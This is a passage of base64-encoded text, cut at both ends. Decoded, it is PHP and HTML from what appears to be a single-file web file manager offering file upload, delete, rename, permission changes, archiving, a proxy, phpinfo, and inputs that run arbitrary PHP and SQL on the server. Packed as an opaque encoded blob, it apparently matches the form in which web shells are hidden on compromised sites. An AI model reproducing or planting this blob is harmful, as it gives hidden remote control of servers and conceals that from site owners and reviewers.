iZGlzcGxheTppbmxpbmUiPgoJCQkJICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icGF0aCIgdmFsdWU9Ijw/PSRwYXRoPz4iIC8+CgkJCQkgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgcGxhY2Vob2xkZXI9Ijw/PV9fKCdSZWN1cnNpdmUgc2VhcmNoJyk/PiIgbmFtZT0ic2VhcmNoX3JlY3Vyc2l2ZSIgdmFsdWU9Ijw/PSFlbXB0eSgkX1BPU1RbJ3NlYXJjaF9yZWN1cnNpdmUnXSk/JF9QT1NUWydzZWFyY2hfcmVjdXJzaXZlJ106Jyc/PiIgc2l6ZT0iMTUiPgoJCQkJICAgICAgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9Im1hc2siIHBsYWNlaG9sZGVyPSI8Pz1fXygnTWFzaycpPz4iIHZhbHVlPSI8Pz0hZW1wdHkoJF9QT1NUWydtYXNrJ10pPyRfUE9TVFsnbWFzayddOicqLionPz4iIHNpemU9IjUiPgoJCQkJICAgICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0ic2VhcmNoIiB2YWx1ZT0iPD89X18oJ1NlYXJjaCcpPz4iPgoJCQkJICAgICAgPC9mb3JtPgoJCQk8L3RkPgoJCQk8dGQ+CgkJCTw/PWZtX3J1bl9pbnB1dCgncGhwJyk/PgoJCQk8L3RkPgoJCQk8dGQ+CgkJCTw/PWZtX3J1bl9pbnB1dCgnc3FsJyk/PgoJCQk8L3RkPgoJCQk8L3RyPgoJCTwvdGFibGU+CiAgICAgICAgICA8L3RkPgogICAgICAgICAgPHRkIGNsYXNzPSJyb3czIj4KCQk8dGFibGU+CgkJPHRyPgoJCTx0ZD4KCQk8P3BocCBpZiAoIWVtcHR5KCRmbV9jb25maWdbJ3VwbG9hZF9maWxlJ10pKSB7ID8+CgkJCTxmb3JtIG5hbWU9ImZvcm0xIiBtZXRob2Q9InBvc3QiIGFjdGlvbj0iPD89JHVybF9pbmM/PiIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSI+CgkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSI8Pz0kcGF0aD8+IiAvPgoJCQk8aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0idXBsb2FkIiBpZD0idXBsb2FkX2hpZGRlbiIgc3R5bGU9InBvc2l0aW9uOiBhYnNvbHV0ZTsgZGlzcGxheTogYmxvY2s7IG92ZXJmbG93OiBoaWRkZW47IHdpZHRoOiAwOyBoZWlnaHQ6IDA7IGJvcmRlcjogMDsgcGFkZGluZzogMDsiIG9uY2hhbmdlPSJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgndXBsb2FkX3Zpc2libGUnKS52YWx1ZSA9IHRoaXMudmFsdWU7IiAvPgoJCQk8aW5wdXQgdHlwZT0idGV4dCIgcmVhZG9ubHk9IjEiIGlkPSJ1cGxvYWRfdmlzaWJsZSIgcGxhY2Vob2xkZXI9Ijw/PV9fKCdTZWxlY3QgdGhlIGZpbGUnKT8+IiBzdHlsZT0iY3Vyc29yOiBwb2ludGVyOyIgb25jbGljaz0iZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3VwbG9hZF9oaWRkZW4nKS5jbGljaygpOyIgLz4KCQkJPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0idGVzdCIgdmFsdWU9Ijw/PV9fKCdVcGxvYWQnKT8+IiAvPgoJCQk8L2Zvcm0+CgkJPD9waHAgfSA/PgoJCTwvdGQ+CgkJPHRkPgoJCTw/cGhwIGlmICgkYXV0aFsnYXV0aG9yaXplJ10pIHsgPz4KCQkJPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI+Jm5ic3A7Jm5ic3A7Jm5ic3A7CgoJCQk8aW5wdXQgbmFtZT0icXVpdCIgdHlwZT0iaGlkZGVuIiB2YWx1ZT0iMSI+CgkJCTw/PV9fKCdIZWxsbycpPz4sIDw/PSRhdXRoWydsb2dpbiddPz4KCQkJPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9Ijw/PV9fKCdRdWl0Jyk/PiI+CgkJCTwvZm9ybT4KCQk8P3BocCB9ID8+CgkJPC90ZD4KCQk8dGQ+CgkJPD89Zm1fbGFuZ19mb3JtKCRsYW5ndWFnZSk/PgoJCTwvdGQ+CgkJPHRyPgoJCTwvdGFibGU+CiAgICAgICAgICA8L3RkPgo8L3RyPgo8L3RhYmxlPgo8dGFibGUgY2xhc3M9ImFsbCIgYm9yZGVyPScwJyBjZWxsc3BhY2luZz0nMScgY2VsbHBhZGRpbmc9JzEnIGlkPSJmbV90YWJsZSIgd2lkdGg9IjEwMCUiPgo8dGhlYWQ+Cjx0cj4gCiAgICAgICAgICA8dGggc3R5bGU9IndoaXRlLXNwYWNlOm5vd3JhcCI+IDw/PV9fKCdGaWxlbmFtZScpPz4gPC90aD4KICAgICAgICAgIDx0aCBzdHlsZT0id2hpdGUtc3BhY2U6bm93cmFwIj4gPD89X18oJ1NpemUnKT8+IDwvdGg+CiAgICAgICAgICA8dGggc3R5bGU9IndoaXRlLXNwYWNlOm5vd3JhcCI+IDw/PV9fKCdEYXRlJyk/PiA8L3RoPgogICAgICAgICAgPHRoIHN0eWxlPSJ3aGl0ZS1zcGFjZTpub3dyYXAiPiA8Pz1fXygnUmlnaHRzJyk/PiA8L3RoPgogICAgICAgICAgPHRoIGNvbHNwYW49IjQiIHN0eWxlPSJ3aGl0ZS1zcGFjZTpub3dyYXAiPiA8Pz1fXygnTWFuYWdlJyk/PiA8L3RoPgo8L3RyPgo8L3RoZWFkPgo8dGJvZHk+Cjw/cGhwCiRlbGVtZW50cyA9IGZtX3NjYW5fZGlyKCRwYXRoLCAnJywgJ2FsbCcsIHRydWUpOwoKJGRpcnMgPSBhcnJheSgpOwoKJGZpbGVzID0gYXJyYXkoKTsKCmZvcmVhY2ggKCRlbGVtZW50cyBhcyAkZmlsZSl7CiAgICAgICAgICBpZihAaXNfZGlyKCRwYXRoIC4gJGZpbGUpKXsKICAgICAgICAgICAgICAkZGlyc1tdID0gJGZpbGU7CgogICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAkZmlsZXNbXSA9ICRmaWxlOwoKICAgICAgICAgIH0KfQpuYXRzb3J0KCRkaXJzKTsgbmF0c29ydCgkZmlsZXMpOwoKJGVsZW1lbnRzID0gYXJyYXlfbWVyZ2UoJGRpcnMsICRmaWxlcyk7CgoKZm9yZWFjaCAoJGVsZW1lbnRzIGFzICRmaWxlKXsKICAgICAgICAgICRmaWxlbmFtZSA9ICRwYXRoIC4gJGZpbGU7CgogICAgICAgICAgJGZpbGVkYXRhID0gQHN0YXQoJGZpbGVuYW1lKTsKCiAgICAgICAgICBpZihAaXNfZGlyKCRmaWxlbmFtZSkpewoJCSRmaWxlZGF0YVs3XSA9ICcnOwoKCQlpZiAoIWVtcHR5KCRmbV9jb25maWdbJ3Nob3dfZGlyX3NpemUnXSkmJiFmbV9yb290KCRmaWxlKSkgJGZpbGVkYXRhWzddID0gZm1fZGlyX3NpemUoJGZpbGVuYW1lKTsKCiAgICAgICAgICAgICAgJGxpbmsgPSAnPGEgaHJlZj0iJy4kdXJsX2luYy4nJnBhdGg9Jy4kcGF0aC4kZmlsZS4nIiB0aXRsZT0iJy5fXygnU2hvdycpLicgJy4kZmlsZS4nIj48c3BhbiBjbGFzcz0iZm9sZGVyIj4mbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDs8L3NwYW4+ICcuJGZpbGUuJzwvYT4nOwoKICAgICAgICAgICAgICAkbG9hZGxpbms9IChmbV9yb290KCRmaWxlKXx8JHBoYXJfbWF5YmUpID8gJycgOiBmbV9saW5rKCd6aXAnLCRmaWxlbmFtZSxfXygnQ29tcHJlc3MnKS4nJm5ic3A7emlwJyxfXygnQXJjaGl2aW5nJykuJyAnLiAkZmlsZSk7CgoJCSRhcmxpbmsgID0gKGZtX3Jvb3QoJGZpbGUpfHwkcGhhcl9tYXliZSkgPyAnJyA6IGZtX2xpbmsoJ2d6JywkZmlsZW5hbWUsX18oJ0NvbXByZXNzJykuJyZuYnNwOy50YXIuZ3onLF9fKCdBcmNoaXZpbmcnKS4nICcuJGZpbGUpOwoKICAgICAgICAgICAgICAkc3R5bGUgPSAncm93Mic7CgoJCSBpZiAoIWZtX3Jvb3QoJGZpbGUpKSAkYWxlcnQgPSAnb25DbGljaz0iaWYoY29uZmlybShcJycgLiBfXygnQXJlIHlvdSBzdXJlIHlvdSB3YW50IHRvIGRlbGV0ZSB0aGlzIGRpcmVjdG9yeSAocmVjdXJzaXZlbHkpPycpLidcbiAvJy4gJGZpbGUuICdcJykpIGRvY3VtZW50LmxvY2F0aW9uLmhyZWYgPSBcJycgLiAkdXJsX2luYyAuICcmZGVsZXRlPScgLiAkZmlsZSAuICcmcGF0aD0nIC4gJHBhdGggIC4gJ1wnIic7IGVsc2UgJGFsZXJ0ID0gJyc7CgogICAgICAgICAgfSBlbHNlIHsKCQkkbGluayA9IAoJCQkkZm1fY29uZmlnWydzaG93X2ltZyddJiZAZ2V0aW1hZ2VzaXplKCRmaWxlbmFtZSkgCgkJCT8gJzxhIHRhcmdldD0iX2JsYW5rIiBvbmNsaWNrPSJ2YXIgbGVmdG8gPSBzY3JlZW4uYXZhaWxXaWR0aC8yLTMyMDt3aW5kb3cub3BlbihcJycKCQkJLiBmbV9pbWdfbGluaygkZmlsZW5hbWUpCgkJCS4nXCcsXCdwb3B1cFwnLFwnd2lkdGg9NjQwLGhlaWdodD00ODAsbGVmdD1cJyArIGxlZnRvICsgXCcsc2Nyb2xsYmFycz15ZXMsdG9vbGJhcj1ubyxsb2NhdGlvbj1ubyxkaXJlY3Rvcmllcz1ubyxzdGF0dXM9bm9cJyk7cmV0dXJuIGZhbHNlOyIgaHJlZj0iJy5mbV9pbWdfbGluaygkZmlsZW5hbWUpLiciPjxzcGFuIGNsYXNzPSJpbWciPiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOzwvc3Bhbj4gJy4kZmlsZS4nPC9hPicKCQkJOiAnPGEgaHJlZj0iJyAuICR1cmxfaW5jIC4gJyZlZGl0PScgLiAkZmlsZSAuICcmcGF0aD0nIC4gJHBhdGguICciIHRpdGxlPSInIC4gX18oJ0VkaXQnKSAuICciPjxzcGFuIGNsYXNzPSJmaWxlIj4mbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDs8L3NwYW4+ICcuJGZpbGUuJzwvYT4nOwoKCQkkZV9hcnIgPSBleHBsb2RlKCIuIiwgJGZpbGUpOwoKCQkkZXh0ID0gZW5kKCRlX2Fycik7CgogICAgICAgICAgICAgICRsb2FkbGluayA9ICBmbV9saW5rKCdkb3dubG9hZCcsJGZpbGVuYW1lLF9fKCdEb3dubG9hZCcpLF9fKCdEb3dubG9hZCcpLicgJy4gJGZpbGUpOwoKCQkkYXJsaW5rID0gaW5fYXJyYXkoJGV4dCxhcnJheSgnemlwJywnZ3onLCd0YXInKSkgCgkJPyAnJwoJCTogKChmbV9yb290KCRmaWxlKXx8JHBoYXJfbWF5YmUpID8gJycgOiBmbV9saW5rKCdnemZpbGUnLCRmaWxlbmFtZSxfXygnQ29tcHJlc3MnKS4nJm5ic3A7LnRhci5neicsX18oJ0FyY2hpdmluZycpLicgJy4gJGZpbGUpKTsKCiAgICAgICAgICAgICAgJHN0eWxlID0gJ3JvdzEnOwoKCQkkYWxlcnQgPSAnb25DbGljaz0iaWYoY29uZmlybShcJycuIF9fKCdGaWxlIHNlbGVjdGVkJykuJzogXG4nLiAkZmlsZS4gJy4gXG4nLl9fKCdBcmUgeW91IHN1cmUgeW91IHdhbnQgdG8gZGVsZXRlIHRoaXMgZmlsZT8nKSAuICdcJykpIGRvY3VtZW50LmxvY2F0aW9uLmhyZWYgPSBcJycgLiAkdXJsX2luYyAuICcmZGVsZXRlPScgLiAkZmlsZSAuICcmcGF0aD0nIC4gJHBhdGggIC4gJ1wnIic7CgogICAgICAgICAgfQogICAgICAgICAgJGRlbGV0ZWxpbmsgPSBmbV9yb290KCRmaWxlKSA/ICcnIDogJzxhIGhyZWY9IiMiIHRpdGxlPSInIC4gX18oJ0RlbGV0ZScpIC4gJyAnLiAkZmlsZSAuICciICcgLiAkYWxlcnQgLiAnPicgLiBfXygnRGVsZXRlJykgLiAnPC9hPic7CgogICAgICAgICAgJHJlbmFtZWxpbmsgPSBmbV9yb290KCRmaWxlKSA/ICcnIDogJzxhIGhyZWY9IicgLiAkdXJsX2luYyAuICcmcmVuYW1lPScgLiAkZmlsZSAuICcmcGF0aD0nIC4gJHBhdGggLiAnIiB0aXRsZT0iJyAuIF9fKCdSZW5hbWUnKSAuJyAnLiAkZmlsZSAuICciPicgLiBfXygnUmVuYW1lJykgLiAnPC9hPic7CgogICAgICAgICAgJHJpZ2h0c3RleHQgPSAoJGZpbGU9PScuJyB8fCAkZmlsZT09Jy4uJykgPyAnJyA6ICc8YSBocmVmPSInIC4gJHVybF9pbmMgLiAnJnJpZ2h0cz0nIC4gJGZpbGUgLiAnJnBhdGg9JyAuICRwYXRoIC4gJyIgdGl0bGU9IicgLiBfXygnUmlnaHRzJykgLicgJy4gJGZpbGUgLiAnIj4nIC4gQGZtX3JpZ2h0c19zdHJpbmcoJGZpbGVuYW1lKSAuICc8L2E+JzsKCj8+Cjx0ciBjbGFzcz0iPD89JHN0eWxlPz4iPiAKICAgICAgICAgIDx0ZD48Pz0kbGluaz8+PC90ZD4KICAgICAgICAgIDx0ZD48Pz0kZmlsZWRhdGFbN10/PjwvdGQ+CiAgICAgICAgICA8dGQgc3R5bGU9IndoaXRlLXNwYWNlOm5vd3JhcCI+PD89Z21kYXRlKCJZLW0tZCBIOmk6cyIsJGZpbGVkYXRhWzldKT8+PC90ZD4KICAgICAgICAgIDx0ZD48Pz0kcmlnaHRzdGV4dD8+PC90ZD4KICAgICAgICAgIDx0ZD48Pz0kZGVsZXRlbGluaz8+PC90ZD4KICAgICAgICAgIDx0ZD48Pz0kcmVuYW1lbGluaz8+PC90ZD4KICAgICAgICAgIDx0ZD48Pz0kbG9hZGxpbms/PjwvdGQ+CiAgICAgICAgICA8dGQ+PD89JGFybGluaz8+PC90ZD4KPC90cj4KPD9waHAKICAgICAgICAgIH0KfQo/Pgo8L3Rib2R5Pgo8L3RhYmxlPgo8ZGl2IGNsYXNzPSJyb3czIj48P3BocAoJJG10aW1lID0gZXhwbG9kZSgnICcsIG1pY3JvdGltZSgpKTsgCgkkdG90YWx0aW1lID0gJG10aW1lWzBdICsgJG10aW1lWzFdIC0gJHN0YXJ0dGltZTsgCgllY2hvIGZtX2hvbWUoKS4nIHwgdmVyLiAnLiRmbV92ZXJzaW9uLicgfCA8YSBocmVmPSJodHRwczovL2dpdGh1Yi5jb20vRGVuMXh4eC9GaWxlbWFuYWdlciI+R2l0aHViPC9hPiAgfCA8YSBocmVmPSInLmZtX3NpdGVfdXJsKCkuJyI+LjwvYT4nOwoKCWlmICghZW1wdHkoJGZtX2NvbmZpZ1snc2hvd19waHBfdmVyJ10pKSBlY2hvICcgfCBQSFAgJy5waHB2ZXJzaW9uKCk7CgoJaWYgKCFlbXB0eSgkZm1fY29uZmlnWydzaG93X3BocF9pbmknXSkpIGVjaG8gJyB8ICcucGhwX2luaV9sb2FkZWRfZmlsZSgpOwoKCWlmICghZW1wdHkoJGZtX2NvbmZpZ1snc2hvd19ndCddKSkgZWNobyAnIHwgJy5fXygnR2VuZXJhdGlvbiB0aW1lJykuJzogJy5yb3VuZCgkdG90YWx0aW1lLDIpOwoKCWlmICghZW1wdHkoJGZtX2NvbmZpZ1snZW5hYmxlX3Byb3h5J10pKSBlY2hvICcgfCA8YSBocmVmPSI/cHJveHk9dHJ1ZSI+cHJveHk8L2E+JzsKCglpZiAoIWVtcHR5KCRmbV9jb25maWdbJ3Nob3dfcGhwaW5mbyddKSkgZWNobyAnIHwgPGEgaHJlZj0iP3BocGluZm89dHJ1ZSI+cGhwaW5mbzwvYT4nOwoKCWlmICghZW1wdHkoJGZtX2NvbmZpZ1snc2hvd194bHMnXSkmJiFlbXB0eSgkbGluaykpIGVjaG8gJyB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6IHZvaWQoMCkiIG9uY2xpY2s9InZhciBvYmogPSBuZXcgdGFibGUyRXhjZWwoKTsgb2JqLkNyZWF0ZUV4Y2VsU2hlZXQoXCdmbV90YWJsZVwnLFwnZXhwb3J0XCcpOyIgdGl0bGU9IicuX18oJ0Rvd25sb2FkJykuJyB4bHMiPnhsczwvYT4nOwoKCWlmICghZW1wdHkoJGZtX2NvbmZpZ1snZm1fc2V0dGluZ3MnXSkpIGVjaG8gJyB8IDxhIGhyZWY9Ij9mbV9zZXR0aW5ncz10cnVlIj4nLl9fKCdTZXR0aW5ncycpLic8L2E+JzsKCgk/Pgo8L2Rpdj4KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPgpmdW5jdGlvbiBkb3dubG9hZF94bHMoZmlsZW5hbWUsIHRleHQpIHsKCXZhciBlbGVtZW50ID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnYScpOwoKCWVsZW1lbnQuc2V0QXR0cmlidXRlKCdocmVmJywgJ2RhdGE6YXBwbGljYXRpb24vdm5kLm1zLWV4Y2VsO2Jhc2U2NCwnICsgdGV4dCk7CgoJZWxlbWVudC5zZXRBdHRyaWJ1dGUoJ2Rvd25sb2FkJywgZmlsZW5hbWUpOwoKCWVsZW1lbnQuc3R5bGUuZGlzcGxheSA9ICdub25lJzsKCglkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGVsZW1lbnQpOwoKCWVsZW1lbnQuY2xpY2soKTsKCglkb2N1bWVudC5ib2R5LnJlbW92ZUNoaWxkKGVsZW1lbnQpOwoKfQoKZnVuY3Rpb24gYmFzZTY0X2VuY29kZShtKSB7Cglmb3IgKHZhciBrID0gIkFCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXowMTIzNDU2Nzg5Ky8iLnNwbGl0KCIiKSwgYywgZCwgaCwgZSwgYSwgZyA9ICIiLCBiID0gMCwgZiwgbCA9IDA7IGwgPCBtLmxlbmd0aDsgKytsKSB7CgkJYyA9IG0uY2hhckNvZGVBdChsKTsKCgkJaWYgKDEyOCA+IGMpIGQgPSAxOwoKCQllbHNlCgkJCWZvciAoZCA9IDI7IGMgPj0gMiA8PCA1ICogZDspICsrZDsKCgkJZm9yIChoID0gMDsgaCA8IGQ7ICsraCkgMSA9PSBkID8gZSA9IGMgOiAoZSA9IGggPyAxMjggOiAxOTIsIGEgPSBkIC0gMiAtIDYgKiBoLCAwIDw9IGEgJiYgKGUgKz0gKDYgPD0gYSA/IDEgOiAwKSArICg1IDw9IGEgPyAyIDogMCkgKyAoNCA8PSBhID8gNCA6IDApICsgKDMgPD0gYSA/IDggOiAwKSArICgyIDw9IGEgPyAxNiA6IDApICsgKDEgPD0gYSA/IDMyIDogMCksIGEgLT0gNSksIDAgPiBhICYmICh1ID0gNiAqIChkIC0gMSAtIGgpLCBlICs9IGMgPj4gdSwgYyAtPSBjID4+IHUgPDwgdSkpLCBmID0gYiA/IGYgPDwgNiAtIGIgOiAwLCBiICs9IDIsIGYgKz0gZSA+PiBiLCBnICs9IGtbZl0sIGYgPSBlICUgKDEgPDwgYiksIDYgPT0gYiAmJiAoYiA9IDAsIGcgKz0ga1tmXSkKCX0KCWIgJiYgKGcgKz0ga1tmIDw8IDYgLSBiXSk7CgoJcmV0dXJuIGcKfQoKCnZhciB0YWJsZVRvRXhjZWxEYXRhID0gKGZ1bmN0aW9uKCkgewogICAgICAgICAgdmFyIHVyaSA9ICdkYXRhOmFwcGxpY2F0aW9uL3ZuZC5tcy1leGNlbDtiYXNlNjQsJywKICAgICAgICAgIHRlbXBsYXRlID0gJzxodG1sIHhtbG5zOm89InVybjpzY2hlbWFzLW1pY3Jvc29mdC1jb206b2ZmaWNlOm9mZmljZSIgeG1sbnM6eD0idXJuOnNjaGVtYXMtbWljcm9zb2Z0LWNvbTpvZmZpY2U6ZXhjZWwiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy9UUi9SRUMtaHRtbDQwIj48aGVhZD48IS0tW2lmIGd0ZSBtc28gOV0+PHhtbD48eDpFeGNlbFdvcmtib29rPjx4OkV4Y2VsV29ya3NoZWV0cz48eDpFeGNlbFdvcmtzaGVldD48eDpOYW1lPnt3b3Jrc2hlZXR9PC94Ok5hbWU+PHg6V29ya3NoZWV0T3B0aW9ucz48eDpEaXNwbGF5R3JpZGxpbmVzPjwveDpEaXNwbGF5R3JpZGxpbmVzPjwveDpXb3Jrc2hlZXRPcHRpb25zPjwveDpFeGNlbFdvcmtzaGVldD48L3g6RXhjZWxXb3Jrc2hlZXRzPjwveDpFeGNlbFdvcmtib29rPjwveG1sPjwhW2VuZGlmXS0tPjxtZXRhIGh0dHAtZXF1aXY9ImNvbnRlbnQtdHlwZSIgY29udGVudD0idGV4dC9wbGFpbjsgY2hhcnNldD1VVEYtOCIvPjwvaGVhZD48Ym9keT48dGFibGU+e3RhYmxlfTwvdGFibGU+PC9ib2R5PjwvaHRtbD4nLAogICAgICAgICAgZm9ybWF0ID0gZnVuY3Rpb24ocywgYykgewogICAgICAgICAgICAgICAgICByZXR1cm4gcy5yZXBsYWNlKC97KFx3Kyl9L2csIGZ1bmN0aW9uKG0sIHApIHsKICAgICAgICAgICAgICAgICAgICAgIHJldHVybiBjW3BdOwoKICAgICAgICAgICAgICAgICAgfSkKICAgICAgICAgICAgICB9CiAgICAgICAgICByZXR1cm4gZnVuY3Rpb24odGFibGUsIG5hbWUpIHsKICAgICAgICAgICAgICBpZiAoIXRhYmxlLm5vZGVUeXBlKSB0YWJsZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKHRhYmxlKQogICAgICAgICAgICAgIHZhciBjdHggPSB7CiAgICAgICAgICAgICAgICAgIHdvcmtzaGVldDogbmFtZSB8fCAnV29ya3NoZWV0JywKICAgICAgICAgICAgICAgICAgdGFibGU6IHRhYmxlLmlubmVySFRNTC5yZXBsYWNlKC88c3BhbiguKj8pXC9zcGFuPiAvZywiIikucmVwbGFjZSgvPGFcYltePl0qPiguKj8pPFwvYT4vZywiJDEiKQogICAgICAgICAgICAgIH0KCQl0ID0gbmV3IERhdGUoKTsKCgkJZmlsZW5hbWUgPSAnZm1fJyArIHQudG9JU09TdHJpbmcoKSArICcueGxzJwoJCWRvd25sb2FkX3hscyhmaWxlbmFtZSwgYmFzZTY0X2VuY29kZShmb3JtYXQodGVtcGxhdGUsIGN0eCkpKQogICAgICAgICAgfQp9KSgpOwoKCnZhciB0YWJsZTJFeGNlbCA9IGZ1bmN0aW9uICgpIHsKCiAgICAgICAgICB2YXIgdWEgPSB3aW5kb3cubmF2aWdhdG9yLnVzZXJBZ2VudDsKCiAgICAgICAgICB2YXIgbXNpZSA9IHVhLmluZGV4T2YoIk1TSUUgIik7CgoKCXRoaXMuQ3JlYXRlRXhjZWxTaGVldCA9IAoJCWZ1bmN0aW9uKGVsLCBuYW1lKXsKCQkJaWYgKG1zaWUgPiAwIHx8ICEhbmF2aWdhdG9yLnVzZXJBZ2VudC5tYXRjaCgvVHJpZGVudC4qcnZcOjExXC4vKSkgey8vIElmIEludGVybmV0IEV4cGxvcmVyCgoJCQkgICAgICAJdmFyIHggPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZChlbCkucm93czsKCgoJCQkgICAgICAJdmFyIHhscyA9IG5ldyBBY3RpdmVYT2JqZWN0KCJFeGNlbC5BcHBsaWNhdGlvbiIpOwoKCgkJCSAgICAgIAl4bHMudmlzaWJsZSA9IHRydWU7CgoJCQkJICAgICAgeGxzLldvcmtib29rcy5BZGQKCQkJCSAgICAgIGZvciAoaSA9IDA7IGkgPCB4Lmxlbmd0aDsgaSsrKSB7CgkJCQkgICAgICAJdmFyIHkgPSB4W2ldLmNlbGxzOwoKCgkJCSAgICAgIAkJZm9yIChqID0gMDsgaiA8IHkubGVuZ3RoOyBqKyspIHsKCQkJCSAgICAgIAkJeGxzLkNlbGxzKGkgKyAxLCBqICsgMSkuVmFsdWUgPSB5W2pdLmlubmVyVGV4dDsKCgkJCQkgICAgICAJfQoJCQkJICAgICAgfQoJCQkJICAgICAgeGxzLlZpc2libGUgPSB0cnVlOwoKCQkJCSAgICAgIHhscy5Vc2VyQ29udHJvbCA9IHRydWU7CgoJCQkJICAgICAgcmV0dXJuIHhsczsKCgkJCX0gZWxzZSB7CgkJCQkgICAgICB0YWJsZVRvRXhjZWxEYXRhKGVsLCBuYW1lKTsKCgkJCX0KCQl9Cn0KPC9zY3JpcHQ+CjwvYm9keT4KPC9odG1sPgoKPD9waHAKCgovL1BvcnRlZCBmcm9tIFJlbG9hZENNUyBwcm9qZWN0IGh0dHA6Ly9yZWxvYWRjbXMuY29tCmNsYXNzIGFyY2hpdmVUYXIgewoJdmFyICRhcmNoaXZlX25hbWUgPSAnJzsKCgl2YXIgJHRtcF9maWxlID0gMDsKCgl2YXIgJGZpbGVfcG9zID0gMDsKCgl2YXIgJGlzR3ppcHBlZCA9IHRydWU7CgoJdmFyICRlcnJvcnMgPSBhcnJheSgpOwoKCXZhciAkZmlsZXMgPSBhcnJheSgpOwoKCQoJZnVuY3Rpb24gX19jb25zdHJ1Y3QoKXsKCQlpZiAoIWlzc2V0KCR0aGlzLT5lcnJvcnMpKSAkdGhpcy0+ZXJyb3JzID0gYXJyYXkoKTsKCgl9CgkKCWZ1bmN0aW9uIGNyZWF0ZUFyY2hpdmUoJGZpbGVfbGlzdCl7CgkJJHJlc3VsdCA9IGZhbHNlOwoKCQlpZiAoZmlsZV9leGlzdHMoJHRoaXMtPmFyY2hpdmVfbmFtZSkgJiYgaXNfZmlsZSgkdGhpcy0+YXJjaGl2ZV9uYW1lKSkgCSRuZXdBcmNoaXZlID0gZmFsc2U7CgoJCWVsc2UgJG5ld0FyY2hpdmUgPSB0cnVlOwoKCQlpZiAoJG5ld0FyY2hpdmUpewoJCQlpZiAoISR0aGlzLT5vcGVuV3JpdGUoKSkgcmV0dXJuIGZhbHNlOwoKCQl9IGVsc2UgewoJCQlpZiAoZmlsZXNpemUoJHRoaXMtPmFyY2hpdmVfbmFtZSkgPT0gMCkJcmV0dXJuICR0aGlzLT5vcGVuV3JpdGUoKTsKCgkJCWlmICgkdGhpcy0+aXNHemlwcGVkKSB7CgkJCQkgICAgICAkdGhpcy0+Y2xvc2VUbXBGaWxlKCk7CgoJCQkJICAgICAgaWYgKCFyZW5hbWUoJHRoaXMtPmFyY2hpdmVfbmFtZSwgJHRoaXMtPmFyY2hpdmVfbmFtZS4nLnRtcCcpKXsKCQkJCSAgICAgIAkkdGhpcy0+ZXJyb3JzW10gPSBfXygnQ2Fubm90IHJlbmFtZScpLicgJy4kdGhpcy0+YXJjaGl2ZV9uYW1lLl9fKCcgdG8gJykuJHRoaXMtPmFyY2hpdmVfbmFtZS4nLnRtcCc7CgoJCQkJICAgICAgCXJldHVybiBmYWxzZTsKCgkJCQkgICAgICB9CgkJCQkgICAgICAkdG1wQXJjaGl2ZSA9IGd6b3BlbigkdGhpcy0+YXJjaGl2ZV9uYW1lLicudG1wJywgJ3JiJyk7CgoJCQkJICAgICAgaWYgKCEkdG1wQXJjaGl2ZSl7CgkJCQkgICAgICAJJHRoaXMtPmVycm9yc1tdID0gJHRoaXMtPmFyY2hpdmVfbmFtZS4nLnRtcCAnLl9fKCdpcyBub3QgcmVhZGFibGUnKTsKCgkJCQkgICAgICAJcmVuYW1lKCR0aGlzLT5hcmNoaXZlX25hbWUuJy50bXAnLCAkdGhpcy0+YXJjaGl2ZV9uYW1lKTsKCgkJCQkgICAgICAJcmV0dXJuIGZhbHNlOwoKCQkJCSAgICAgIH0KCQkJCSAgICAgIGlmICghJHRoaXMtPm9wZW5Xcml0ZSgpKXsKCQkJCSAgICAgIAlyZW5hbWUoJHRoaXMtPmFyY2hpdmVfbmFtZS4nLnRtcCcsICR0aGlzLT5hcmNoaXZlX25hbWUpOwoKCQkJCSAgICAgIAlyZXR1cm4gZmFsc2U7CgoJCQkJICAgICAgfQoJCQkJICAgICAgJGJ1ZmZlciA9IGd6cmVhZCgkdG1wQXJjaGl2ZSwgNTEyKTsKCgkJCQkgICAgICBpZiAoIWd6ZW9mKCR0bXBBcmNoaXZlKSl7CgkJCQkgICAgICAJZG8gewoJCQkJICAgICAgCQkkYmluYXJ5RGF0YSA9IHBhY2soJ2E1MTInLCAkYnVmZmVyKTsKCgkJCQkgICAgICAJCSR0aGlzLT53cml0ZUJsb2NrKCRiaW5hcnlEYXRhKTsKCgkJCQkgICAgICAJCSRidWZmZXIgPSBnenJlYWQoJHRtcEFyY2hpdmUsIDUxMik7CgoJCQkJICAgICAgCX0KCQkJCSAgICAgIAl3aGlsZSAoIWd6ZW9mKCR0bXBBcmNoaXZlKSk7CgoJCQkJICAgICAgfQoJCQkJICAgICAgZ3pjbG9zZSgkdG1wQXJjaGl2ZSk7CgoJCQkJICAgICAgdW5saW5rKCR0aGlzLT5hcmNoaXZlX25hbWUuJy50bXAnKTsKCgkJCX0gZWxzZSB7CgkJCQkgICAgICAkdGhpcy0+dG1wX2ZpbGUgPSBmb3BlbigkdGhpcy0+YXJjaGl2ZV9uYW1lLCAncitiJyk7CgoJCQkJICAgICAgaWYgKCEkdGhpcy0+dG1wX2ZpbGUpCXJldHVybiBmYWxzZTsKCgkJCX0KCQl9CgkJaWYgKGlzc2V0KCRmaWxlX2xpc3QpICYmIG